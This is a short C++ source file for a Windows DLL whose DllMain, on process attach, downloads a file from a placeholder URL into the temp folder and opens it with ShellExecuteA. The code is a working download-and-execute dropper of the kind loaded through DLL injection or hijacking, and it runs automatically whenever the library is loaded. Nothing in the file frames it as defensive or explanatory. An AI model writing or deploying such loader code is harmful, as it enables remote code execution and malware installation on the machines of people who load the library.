#include <iostream>
#include<Windows.h>
#include "shellapi.h"
#pragma comment(lib, "Shell32.lib")
#include <iostream>
#include <string>
#pragma comment(lib, "urlmon.lib")

TCHAR szTempPathBuffer[MAX_PATH];
std::string dwnld_URL = "http://....com/test.txt";
std::string savepath;
HRESULT hr;


void on_run() {
	GetTempPath(MAX_PATH, szTempPathBuffer);
	savepath = szTempPathBuffer;
	savepath.append("\\filename.txt");
	hr = URLDownloadToFile(NULL, dwnld_URL.c_str(), savepath.c_str(), 0, NULL);

	if (SUCCEEDED(hr)) ShellExecuteA(NULL, "open", savepath.c_str(), NULL, NULL, SW_SHOWNORMAL);
	//ShellExecuteA(NULL, "open", "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
}


BOOL APIENTRY DllMain(HINSTANCE hinstDLL,
	DWORD fdwReason, LPVOID lpvReserved)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		on_run();
		return 1;

	case DLL_PROCESS_DETACH:

		break;

	case DLL_THREAD_ATTACH:
		break;

	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}